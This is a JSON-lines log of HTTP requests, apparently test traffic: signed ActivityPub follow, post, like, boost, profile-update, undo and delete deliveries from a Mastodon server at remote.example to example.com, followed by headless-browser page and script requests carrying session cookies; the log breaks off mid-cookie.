{"method": "POST", "target": "/ap/users/117589326485981102/inbox", "headers": ["Content-Length: 235", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=jiJBtB8rH8EldMvZ3w+Kbgk6hy0mzYVJs0zo0PMs7/I=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"OLBZLjqZF2DwLpWVe05XVi6qJ+XdWVpmfLfXkeBxZmQshnhsuARRb9PyZx6njZA4wtpxz0LVWl0fHX9WF4AXtDi1Ni4OlOkzIOf4EKaAWP3pXrt2M6MB7AccovdOCUVoK8U8QcgTTHHJCps2LrD/Jx8pN+nD0Ea6Xs0hFZXafThHqAMPFC69AbeoD6lzEHyYOvxUx+VrmMvGS3XinNXMGdJJCggt0NVXBf8zTdxvUz/sr6/XnXX7V1nsdMuoGNigh9WOt0XjD0iPlb4XIVsZyw5mTIDQDjs/fvt8q1mbN2Cut2AfgZI/m+zPGg8hxqwEVdWfqHKwnzxkgAGPROi40A==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/8688907a953b43a1900142aac9bd6698\",\"type\":\"Follow\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102\"}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2682", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=ZjFyt6rNoRMAIVcrNVxxSHkW3hd/shnh6dqejBq8YwQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"bAgmhxMQouHI6w1OzXpTEjmgqw0OvTMEYyuYpEDvwGlL6MbfBNKIpnlm8FbqtShlUWOBln04pIKxlANluR0p1ikevpmRWb8V3VXXOMvEL8/oQH+fJucOUBg6AiSktXP+ea0JDSj2sINXtVq7+lt9lRAy5V8cHA9QNc13Yzyeptv1p8sFb2/FxZ9Ms2YMuJa+DaEoLnY6UPPDeq7DBkYpyFgbE6Z7+fmbHymNvn5CMlMjneZF6RIrLd4CmtGDVgNEk+iVgo+0WwGVQymRhH91908xO7TW+u63yhxcs3odhmjkQOmdWDN9rTWRt8FtQe3dFWafJE8AEckErxH/VQvGIA==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/200/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T12:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/200\",\"type\":\"Note\",\"summary\":null,\"inReplyTo\":null,\"published\":\"2026-11-09T12:00:00Z\",\"url\":\"https://remote.example/@alice/200\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"sensitive\":false,\"conversation\":\"tag:remote.example,2026-11-09:objectId=200:objectType=Conversation\",\"content\":\"<p><span class=\\\"h-card\\\" translate=\\\"no\\\"><a href=\\\"https://example.com/@admin\\\" class=\\\"u-url mention\\\">@<span>admin</span></a></span> notes on python3, powershell, <code>ls -la</code> and .htaccess <a href=\\\"https://remote.example/tags/python3\\\" class=\\\"mention hashtag\\\" rel=\\\"tag\\\">#<span>python3</span></a></p>\",\"contentMap\":{\"en\":\"<p>notes on python3, powershell, ls -la and .htaccess</p>\"},\"attachment\":[],\"tag\":[{\"type\":\"Mention\",\"href\":\"https://example.com/ap/users/117589326485981102\",\"name\":\"@admin@example.com\"},{\"type\":\"Hashtag\",\"href\":\"https://remote.example/tags/python3\",\"name\":\"#python3\"}],\"replies\":{\"id\":\"https://remote.example/users/alice/statuses/200/replies\",\"type\":\"Collection\",\"first\":{\"type\":\"CollectionPage\",\"next\":\"https://remote.example/users/alice/statuses/200/replies?only_other_accounts=true&page=true\",\"partOf\":\"https://remote.example/users/alice/statuses/200/replies\",\"items\":[]}}}}"}
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 2477", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=/q8FAaFiXN1cuGzVnyHrnDkVdldSSU9lJ4orMezigrQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"FjjoCJzOaValkcupFFH5eD2gcwt5A4gGqhHHLLHcDlpKfgSXJDHayo3pMND50yZ9tLwYeqbpo9pU0ikG9tIOuzJYsPnvOIhZyrU7rU/CYGuSJLQIvqWOIVMZGlFj4uNfDqpUYn1pY7zG86zrNu2Ms8dh1Tces3D6BWJbgzkdNS0qzhF7EYuXkYJtkjhooxWSUHnM5on0CN9elFQCfJz8LEeKhSeB6c8QPykJZDXT0R/PAncDb1DFEugEaovQLVv8Ny7LWXpp895rxiqI0WNRjh/X51ac4OhTlFEXKzFbOebacxVyfSS1rad1MlKrRa7UVYIFk75LbaiNWjJeBT/CRg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/201/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://example.com/ap/users/117589326485981102\"],\"cc\":[],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/201\",\"type\":\"Note\",\"summary\":\"powershell spoilers\",\"inReplyTo\":null,\"published\":\"2026-11-09T12:00:00Z\",\"url\":\"https://remote.example/@alice/201\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://example.com/ap/users/117589326485981102\"],\"cc\":[],\"sensitive\":true,\"conversation\":\"tag:remote.example,2026-11-09:objectId=200:objectType=Conversation\",\"content\":\"<p><span class=\\\"h-card\\\" translate=\\\"no\\\"><a href=\\\"https://example.com/@admin\\\" class=\\\"u-url mention\\\">@<span>admin</span></a></span> notes on python3, powershell, <code>ls -la</code> and .htaccess <a href=\\\"https://remote.example/tags/python3\\\" class=\\\"mention hashtag\\\" rel=\\\"tag\\\">#<span>python3</span></a></p>\",\"contentMap\":{\"en\":\"<p>notes on python3, powershell, ls -la and .htaccess</p>\"},\"attachment\":[],\"tag\":[{\"type\":\"Mention\",\"href\":\"https://example.com/ap/users/117589326485981102\",\"name\":\"@admin@example.com\"},{\"type\":\"Hashtag\",\"href\":\"https://remote.example/tags/python3\",\"name\":\"#python3\"}],\"replies\":{\"id\":\"https://remote.example/users/alice/statuses/200/replies\",\"type\":\"Collection\",\"first\":{\"type\":\"CollectionPage\",\"next\":\"https://remote.example/users/alice/statuses/200/replies?only_other_accounts=true&page=true\",\"partOf\":\"https://remote.example/users/alice/statuses/200/replies\",\"items\":[]}}}}"}
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 248", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=mMPSmg5ZMTfAn8dQ5SHTuTWfI5jT8rrcRS9lgqXlWBo=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"FF5EJfOU/KqOBV6kQl0PmFDu7wkXlUULY1/40YWxsqGeagFwdXg9S8JfvwgD6ri7b5hF9z9F8f7Z3SpbSc4C/2cw1h5H7GxQ7DktFpfXlL5e4By/gBmvhinwtDF6/kHncm0nELXnj+nLz4gvUaS+V7nnHxAND7fFak0k8oSY8VcrAUB5beh7Ij+XcPQ1rt8Fe5Se0Y38KRtkudBvVaJ3cUYwCPf6LbhVstU6WbAAQmQ2Eez4CxhWcsasfzMce8k+S1svQWJPGwGvZZ988DJvDq5OzjKHSjcOcSo3yTfyNfm6ITI6KNq30TBpNXM7e8fWPWhcmvH4KbrhcE2USQo/lw==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice#likes/1\",\"type\":\"Like\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 459", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=OnoUo4Qu2UAckLg2DWv5TmHWKSLMPCrLvaX88WquhGs=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"RRKSTtNO+B38hAT4gIyPNFuY09zTXU/DGC49vGscTEEvFE6r5Iaz7F8CKieR16g6PPqkKI1/BZnGndc90tB3DF6WxHrpaE4TUEFtkKhzEmu+ZDbu23SmG6leTo8OOFvxqJt0eoxkud0lzbi6mh1LzE1M6TVSo5VRCQkWEYBCM/SveAvmvtGDgv+suRzuJ2fnB5YwLRKz7w32D2QG7VQ/L1EP2OC4L71vku/LwlUGIVrm8lisXvQxZbuYD67l280dPEGfj6fUQQaEVV4/DNCk6MeHpIknMYO9E+oQCekt94T636k9bkmKuQ2paaQoBPbJoiSwGWI/pgiAxYQDNnvRfg==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice/statuses/202/activity\",\"type\":\"Announce\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T12:05:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://example.com/ap/users/117589326485981102\",\"https://remote.example/users/alice/followers\"],\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2276", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=90gQrD5AqsmlBfwRpUqy68148ZcAp87EM2+PvJ+A5gM=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"Nz9PbH9Uvh8WH49MM0eGkQrdWqjsKtd7P+KoGDG8LarQBHdfXV6WZHIiUuJ5Mrq6oLhaWNqcfE6e+j3C1cpAdIRDqmauecsTQ60lbzNBegh6EUJ0qRdroVygJ4P/nOsbM03CMUza5RIipfME+REwDm+N69MFHi50S3nu6OFuFpvHxpCRm2cN7gWus4zmy1Sn2th76dklf0hf1984dk741K5pj/4CXBsieTx7HAMDYZqzzU8P7+hzommj8ScF52iWCPP3pRsilRE7SxD8XSstCukNeo2PTrp7F3a3cgPjFBjeYuQBe3vi0bcFdk1bSbtXg5Er6i9DnLGC5o8DY6eyJg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice#updates/1\",\"type\":\"Update\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice\",\"type\":\"Person\",\"preferredUsername\":\"alice\",\"name\":\"Alice python3\",\"summary\":\"<p>python3, powershell, ls -la and .htaccess</p>\",\"inbox\":\"https://remote.example/users/alice/inbox\",\"outbox\":\"https://remote.example/users/alice/outbox\",\"followers\":\"https://remote.example/users/alice/followers\",\"following\":\"https://remote.example/users/alice/following\",\"endpoints\":{\"sharedInbox\":\"https://remote.example/inbox\"},\"url\":\"https://remote.example/@alice\",\"publicKey\":{\"id\":\"https://remote.example/users/alice#main-key\",\"owner\":\"https://remote.example/users/alice\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+7JMlOpvG2A1pJ0awX6\\nHkaPXyLYm8oOQwSGGgEi0e9WjAPXSTh1u3kc51VhRSP4JwYPf3Nr34a/EfygI1/K\\nw9Y79VHdHIe6R9Cjrt/ixm66Glnr7hniJoCyAL3ZcrEJ/Qvxqw5wzOEpNlNA6j76\\nX8rKtoiczVguVN6JhSDvA3kdIgdONCvRC+4Q9/bH/MLESPKJTDS0kno1NngAg9CZ\\nd/X2sIFdkygIdQrUeYoAhE8+m0dS4y6dEV2ue9GGPMG2irdXNDvonndjoNaGJ8zP\\nlo9LRZETB/HkpdB44XKjhXyvORG/qId98r4Is1UTr5kAyip0tNifO2SCyp6j5Dgb\\n7wIDAQAB\\n-----END PUBLIC KEY-----\\n\"}}}"}
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 373", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=UgQfHBUUDM89PRrl0gj8GsurcmRjPEB5+9r/l9vo3vQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"KMdRd+Opvw3d5VhupOzufUkMwzjKv7qwpjgtRmQG+3MZBxYvbRFD4p9Gla7dgZV+SPib45PKM/EFFySMW+DeXRtKrRRWnLgKuPrhnOgyTNERedyM1OyVg0+qeBHqiglhsyQhqMuBmOSbTRkTj7hWSE7n0DPHE3T0f0F32QBcZbqZP9gpokx263q0685NeSgG3mP/nSmzdGmj36Qm98VOF9Dy9Mi2qc69ir8iuK1hZ4FyV3dMSUIzz0MhMLckJovT5qia3krZpUcwCCHAp7CTYkceCTCcKGUHrOyXGd8Fag7+64cxbJfyRs4XmsqO46YO1U3PeEorEXtxsB2Hn24+eg==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice#likes/1/undo\",\"type\":\"Undo\",\"actor\":\"https://remote.example/users/alice\",\"object\":{\"id\":\"https://remote.example/users/alice#likes/1\",\"type\":\"Like\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 381", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=HzeBjo3QT/HbRja3P31DXyJbj0QTXdYK0QtcfF0hD0g=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"DujtT4MF2ggyz2sf+yG9xyQ462fMjrpAPuAhXFSSaF4TxvRSoRtffum+CiFkfStr3+Sh916tsmbpTs46abABbxho4yr0kbq8a3MA/8hDYHvn1nd2NGCQPS0k8Z45FyMfCjFU8leKVPodsYf7A6EGnWDXlMbzXVNMOdk87ac005cVRDPMVgTrlWlhx/yUK3jq0ou6qQ863aoVFi6SgL9HUZ5cLLhd1fdHuh5KtnfljQQRoKANkYaw2B+yWq9TQRCjzejykN1NFP/El24kTBY0OBYeA8XahF0fxtZ7tBrLQWOFoz86Jq53ThZ5V+/j0xwEVtBKctpgFTy2DVLqM+Ipog==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\",{\"ostatus\":\"http://ostatus.org#\"}],\"id\":\"https://remote.example/users/alice/statuses/201#delete\",\"type\":\"Delete\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/201\",\"type\":\"Tombstone\"}}"}
{"method": "GET", "target": "/packs/_rolldown_dynamic_import_helper-CIAwlR2T.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=i720m4UFRf86zskblaDOUW1rQERQTPJYkE92b%2BBB%2Ft%2B9DS0LTl%2BmXDsFh%2Fumfk5n%2FScHlJ0N5w0R0CrNv0bj9lSbZ%2BHLUP6zL%2FXpQTBEWE%2BjpgQsd8rfGa8NlxQG7K%2BFjYpkT89deMWIe8h%2BPx%2Bi3Z4IjxZPbc1r9jCOI0bX8A7GMvNMMictfobxlNFIGwaUKpP49WyLhch1SX9JPrm2SOARPMqKSqMcjjmsDuVPjitlDOZbgQCKWCqyj2uhUqS1YrA6oFgzEOzdwRQ4QWIRBo0fkeL3sPwRMQ%3D%3D--3RO7P3SwebpcHVO9--vIbr1ajbFDY%2FgdulCJy1lA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-router-BkmJBoOP.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/poll-DVpd4t8I.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/index.module-y4HS80Z2.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/profile", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; 